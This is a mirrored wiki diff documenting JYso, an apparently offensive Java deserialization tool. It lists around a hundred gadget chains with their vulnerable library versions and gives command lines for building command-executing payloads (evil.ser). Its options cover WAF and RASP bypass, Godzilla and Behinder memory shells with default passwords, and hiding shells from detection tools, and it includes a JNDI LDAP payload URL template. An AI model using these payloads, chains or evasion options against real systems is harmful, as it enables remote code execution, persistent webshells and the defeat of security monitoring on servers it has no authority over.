mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-25 16:21:52 +08:00
Updated 6、Gadget (markdown)
炁
+114
-132
@@ -1,143 +1,124 @@
|
||||
# 使用参数和链子
|
||||
|
||||
```text7
|
||||
┏┳┓┏
|
||||
┃┗┫┏┏┓
|
||||
┗┛┗┛┛┗┛
|
||||
[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]
|
||||
[root]#~ Available payload types:
|
||||
Payload Authors Dependencies
|
||||
------- ------- ------------
|
||||
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
|
||||
AspectJWeaver2 @QI4L aspectjweaver:1.9.2, commons-collections:3.2.2
|
||||
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
|
||||
BeanShell2 @killer bsh:2.0b1
|
||||
BindingEnumeration
|
||||
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
|
||||
C3P02 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35
|
||||
C3P03 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, groovy:2.3.9
|
||||
C3P04 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, snakeyaml:1.30
|
||||
C3P092 @mbechler c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8, mchange-commons-java:0.2.11
|
||||
C3P0JDBC @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X
|
||||
C3P0JNDI @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X
|
||||
C3P0JNDI2 @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X
|
||||
C3P0RefDataSource
|
||||
C3P0WrapperConnPool
|
||||
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
|
||||
Clojure @JackOfMostTrades clojure:1.8.0
|
||||
CommonsBeanutilsAttrCompare183 @SummerSec commons-beanutils:1.8.3, commons-beanutils:1.7X
|
||||
CommonsBeanutilsAttrCompare192 @水滴 commons-beanutils:1.9.2
|
||||
CommonsBeanutilsJDBC @QI4L commons-beanutils:1.9.2
|
||||
CommonsBeanutilsJNDI @QI4L commons-beanutils:1.9.2, commons-collections:3.1
|
||||
CommonsBeanutilsObjectToStringComparator183 @SummerSec commons-beanutils:1.8.3, commons-lang3:3.10, commons-beanutils:1.7X
|
||||
CommonsBeanutilsObjectToStringComparator192 @水滴 commons-beanutils:1.9.2, commons-lang3:3.10
|
||||
CommonsBeanutilsPropertySource183 @SummerSec commons-beanutils:1.8.3, commons-beanutils:1.7X
|
||||
CommonsBeanutilsPropertySource192 @SummerSec commons-beanutils:1.9.2
|
||||
Fastjson1
|
||||
Fastjson2
|
||||
FileUpload1
|
||||
Groovy
|
||||
Groovy1 @frohoff groovy:2.3.9
|
||||
Groovy2 @Unam4 groovy <2.4.3
|
||||
Hibernate1 @mbechler hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1
|
||||
Hibernate2 @mbechler hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1
|
||||
Hibernate3JDBC @Unam4 hibernate-core <= 4.1.12.Fina, com.alibaba.fastjson 1.X
|
||||
ImageIO
|
||||
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
|
||||
JRE8u20 @frohoff
|
||||
JRE8u20_2
|
||||
JRMPClient @mbechler
|
||||
JRMPClient_Activator @mbechler
|
||||
JRMPClient_Obj @mbechler
|
||||
JRMPListener @mbechler
|
||||
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
|
||||
Jackson1
|
||||
Jackson2
|
||||
Jackson3 @jsjcw 6.2.10
|
||||
Jackson4 @QI4L 6.2.10
|
||||
JacksonLdapAttr
|
||||
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
|
||||
JdbcRowSet
|
||||
Jdk7u21 @frohoff
|
||||
Jdk7u21variant @potats0
|
||||
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
|
||||
LazySearchEnumeration
|
||||
MozillaRhino1 @matthias_kaiser js:1.7R2
|
||||
MozillaRhino2 @_tint0 js:1.7R2
|
||||
Myfaces1 @mbechler
|
||||
Myfaces2
|
||||
ROME @mbechler rome:1.0
|
||||
ROME2 rome:1.0
|
||||
ROME3 @Firebasky rome:1.0
|
||||
ROMEJDBC
|
||||
RenderedImage jai-codec-1.1.3
|
||||
Resin
|
||||
ServiceLoader
|
||||
SignedObject
|
||||
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
|
||||
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
|
||||
Spring3 spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
|
||||
SpringAbstractBeanFactoryPointcutAdvisor
|
||||
SpringPartiallyComparableAdvisorHolder
|
||||
SpringPropertyPathFactory
|
||||
URLDNS @gebl
|
||||
UnixPrintService
|
||||
UnixPrintServiceLookup
|
||||
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
|
||||
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
|
||||
Xbean
|
||||
cb1183 commons-beanutils:1.8.3, commons-beanutils:1.7X
|
||||
cb160 commons-beanutils:1.6.0
|
||||
cb192 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
|
||||
cb2183 commons-beanutils:1.8.3, commons-beanutils:1.7X
|
||||
cb3183 commons-beanutils:1.8.3, commons-beanutils:1.7X
|
||||
cc1 @frohoff commons-collections:3.1
|
||||
cc10 commons-collections:3.2.1
|
||||
cc11
|
||||
cc12 @Jayl1n commons-collections:3.2.1
|
||||
cc13 @Unam4 commons-collections:3.1
|
||||
cc2 @frohoff commons-collections4:4.0
|
||||
cc3 @frohoff commons-collections:3.1
|
||||
cc4 @frohoff commons-collections4:4.0
|
||||
cc4_17 @jiecub3
|
||||
cc5 @matthias_kaiser, @jasinner commons-collections:3.1
|
||||
cc6 @matthias_kaiser commons-collections:3.1
|
||||
cc7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
|
||||
cc8 @navalorenzo commons-collections4:4.0
|
||||
cc9 @梅子酒 commons-collections:3.2.1
|
||||
cck1 commons-collections:3.1
|
||||
cck2 commons-collections:4.0
|
||||
cck3 @matthias_kaiser commons-collections:3.1
|
||||
cck4 @matthias_kaiser commons-collections:4.0
|
||||
springFs
|
||||
Payload Authors Dependencies
|
||||
------- ------- ------------
|
||||
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
|
||||
AspectJWeaver2 @QI4L aspectjweaver:1.9.2, commons-collections:3.2.2
|
||||
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
|
||||
BeanShell2 @killer bsh:2.0b1
|
||||
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
|
||||
C3P02 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35
|
||||
C3P03 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, groovy:2.3.9
|
||||
C3P04 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, snakeyaml:1.30
|
||||
C3P092 @mbechler c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8, mchange-commons-java:0.2.11
|
||||
C3P0JDBC @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X
|
||||
C3P0JNDI @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X
|
||||
C3P0JNDI2 @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X
|
||||
C3P0RefDataSource
|
||||
C3P0WrapperConnPool
|
||||
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
|
||||
Clojure @JackOfMostTrades clojure:1.8.0
|
||||
Fastjson1
|
||||
Fastjson2
|
||||
FileUpload1
|
||||
Groovy1 @frohoff groovy:2.3.9
|
||||
Hibernate1 @mbechler hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1
|
||||
Hibernate2 @mbechler hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1
|
||||
Hibernate3JDBC @Unam4 hibernate-core <= 4.1.12.Fina, com.alibaba.fastjson 1.X
|
||||
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
|
||||
JRE8u20 @frohoff
|
||||
JRE8u20_2
|
||||
JRMPClient @mbechler
|
||||
JRMPClient_Activator @mbechler
|
||||
JRMPClient_Obj @mbechler
|
||||
JRMPListener @mbechler
|
||||
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
|
||||
Jackson1
|
||||
Jackson2
|
||||
Jackson3 @jsjcw 6.2.10
|
||||
Jackson4 @QI4L 6.2.10
|
||||
JacksonLdapAttr
|
||||
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
|
||||
JdbcRowSet
|
||||
Jdk7u21 @frohoff
|
||||
Jdk7u21variant @potats0
|
||||
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
|
||||
MozillaRhino1 @matthias_kaiser js:1.7R2
|
||||
MozillaRhino2 @_tint0 js:1.7R2
|
||||
Myfaces1 @mbechler
|
||||
Myfaces2
|
||||
ROME @mbechler rome:1.0
|
||||
ROME2 rome:1.0
|
||||
ROME3 @Firebasky rome:1.0
|
||||
ROMEJDBC
|
||||
RenderedImage jai-codec-1.1.3
|
||||
Resin
|
||||
SignedObject
|
||||
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
|
||||
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
|
||||
Spring3 spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
|
||||
URLDNS @gebl
|
||||
UnixPrintService
|
||||
UnixPrintServiceLookup
|
||||
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
|
||||
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
|
||||
cb160 commons-beanutils:1.6.0
|
||||
cb183 commons-beanutils:1.8.3, commons-beanutils:1.7X
|
||||
cb192 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
|
||||
cb_AttrCompare183 @SummerSec commons-beanutils:1.8.3, commons-beanutils:1.7X
|
||||
cb_AttrCompare192 @水滴 commons-beanutils:1.9.2
|
||||
cb_JDBC @QI4L commons-beanutils:1.9.2
|
||||
cb_JNDI @QI4L commons-beanutils:1.9.2, commons-collections:3.1
|
||||
cb_ObjectToStringComparator183 @SummerSec commons-beanutils:1.8.3, commons-lang3:3.10, commons-beanutils:1.7X
|
||||
cb_PropertySource183 @SummerSec commons-beanutils:1.8.3, commons-beanutils:1.7X
|
||||
cb_PropertySource192 @SummerSec commons-beanutils:1.9.2
|
||||
cc1 @frohoff commons-collections:3.1
|
||||
cc10 commons-collections:3.2.1
|
||||
cc11
|
||||
cc12 @Jayl1n commons-collections:3.2.1
|
||||
cc13 @Unam4 commons-collections:3.1
|
||||
cc2 @frohoff commons-collections4:4.0
|
||||
cc3 @frohoff commons-collections:3.1
|
||||
cc4 @frohoff commons-collections4:4.0
|
||||
cc4_17 @jiecub3
|
||||
cc5 @matthias_kaiser, @jasinner commons-collections:3.1
|
||||
cc6 @matthias_kaiser commons-collections:3.1
|
||||
cc7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
|
||||
cc8 @navalorenzo commons-collections4:4.0
|
||||
cc9 @梅子酒 commons-collections:3.2.1
|
||||
cck1 commons-collections:3.1
|
||||
cck2 commons-collections:4.0
|
||||
cck3 @matthias_kaiser commons-collections:3.1
|
||||
cck4 @matthias_kaiser commons-collections:4.0
|
||||
springFs
|
||||
|
||||
|
||||
|
||||
usage: JYso-[version].jar [-ch <arg>] [-dcfp <arg>] [-dl <arg>] [-dt <arg>] [-f <arg>] [-g <arg>] [-gen] [-gzk <arg>] [-h] [-hk <arg>] [-ht <arg>] [-hv <arg>] [-i] [-mcl] [-n <arg>] [-ncs] [-o] [-p
|
||||
<arg>] [-pw <arg>] [-rh] [-u <arg>] [-yso <arg>]
|
||||
-b64,--base64 base64编码输出结果
|
||||
-ch,--cmd-header <arg> 请求头，将命令传递给执行，默认[X-Token-Data]
|
||||
-dcfp,--define-class-from-parameter <arg> 使用 DefineClassFromParameter 时自定义参数名称
|
||||
-dl,--dirty-length <arg> 使用类型 1 或 3 时的脏数据长度/使用类型 2 时的嵌套循环计数
|
||||
-dt,--dirty-type <arg> 利用脏数据绕过WAF，类型：1:Random Hashable Collections/2:LinkedList Nesting/3:Serialized Data中的TC_RESET
|
||||
-f,--file <arg> 将输出写入 FileOutputStream（指定文件名）
|
||||
usage: JYso-[version].jar [-b64] [-dcfp <arg>] [-dl <arg>] [-dt <arg>] [-f <arg>] [-g <arg>] [-i] [-mcl] [-ncs] [-o] [-p
|
||||
<arg>] [-rh] [-utf] [-y]
|
||||
-b64,--base64 base64 encoding
|
||||
-dcfp,--define-class-from-parameter <arg> Customize parameter name when using DefineClassFromParameter
|
||||
-dl,--dirty-length <arg> Length of dirty data when using type 1 or 3/Counts of Nesting loops when
|
||||
using type 2
|
||||
-dt,--dirty-type <arg> Using dirty data to bypass WAF，type: 1:Random Hashable
|
||||
Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data
|
||||
-f,--file <arg> Write Output into FileOutputStream (Specified FileName)
|
||||
-g,--gadget <arg> Java deserialization gadget
|
||||
-gen,--gen-mem-shell 将内存 Shell 类保存为class文件
|
||||
-gzk,--godzilla-key <arg> Godzilla key,default [key]
|
||||
-h,--hide-mem-shell 对检测工具隐藏内存外壳（类型2仅支持SpringControllerMS）
|
||||
-he1,--Hessian1 Hessian1 Output
|
||||
-he2,--Hessian2 Hessian2 Output
|
||||
-hk,--header-key <arg> MemoryShell 标头检查，请求标头密钥，默认 [Referer]
|
||||
-ht,--hide-type <arg> 隐藏内存shell，输入1：write /jre/lib/charsets.jar 2：write /jre/classes/
|
||||
-hv,--header-value <arg> MemoryShell 标头检查,请求标头值,默认 [https://QI4L.cn/]
|
||||
-i,--inherit 是否让payload继承AbstractTranslet（低版本的JDK如1.6应该继承）
|
||||
-mcl,--mozilla-class-loader 在 TransformerUtil 中使用 org.mozilla.javascript.DefiningClassLoader
|
||||
-n,--gen-mem-shell-name <arg> 设置MemShell类文件名
|
||||
-ncs,--no-com-sun 强制使用 org.apache.XXX.TemplatesImpl 而不是 com.sun.org.apache.XXX.TemplatesImpl
|
||||
-o,--obscure 使用反射绕过RASP
|
||||
-i,--inherit Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should
|
||||
inherit)
|
||||
-mcl,--mozilla-class-loader Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil
|
||||
-ncs,--no-com-sun Force Using org.apache.XXX.TemplatesImpl instead of
|
||||
com.sun.org.apache.XXX.TemplatesImpl
|
||||
-o,--obscure Using reflection to bypass RASP
|
||||
-p,--parameters <arg> Gadget parameters
|
||||
-pw,--password <arg> Behinder 或 Godzilla 密码，默认 [p@ssw0rd]
|
||||
-rh,--rhino 使用Rhino Engine 把内存马代码转换为JS
|
||||
-u,--url <arg> MemoryShell绑定url模式，默认[/QI4L]
|
||||
-rh,--rhino ScriptEngineManager Using Rhino Engine to eval JS
|
||||
-utf,--utf8-Overlong-Encoding UTF-8 Overlong Encoding Bypass waf
|
||||
-x,--XStream <arg> Generate Xstream serialization xml
|
||||
-y,--ysoserial <arg> Java deserialization
|
||||
-y,--ysoserial Java deserialization
|
||||
|
||||
|
||||
Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser
|
||||
@@ -177,8 +158,9 @@ java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser
|
||||
|
||||
**JNDI中同理**
|
||||
|
||||
需要对Base64后的内容进行base64编码
|
||||
```java
|
||||
ldap://127.0.0.1:1389/Deserialization/cc1/command/Base64/[base64_encoded_DL-xxx.org])
|
||||
ldap://127.0.0.1:1389/Deserialization/cc1/command/Base64/DL-xxx.org])
|
||||
```
|
||||
|
||||
**命令执行示例**:
|
||||
|
||||
Reference in New Issue
Block a user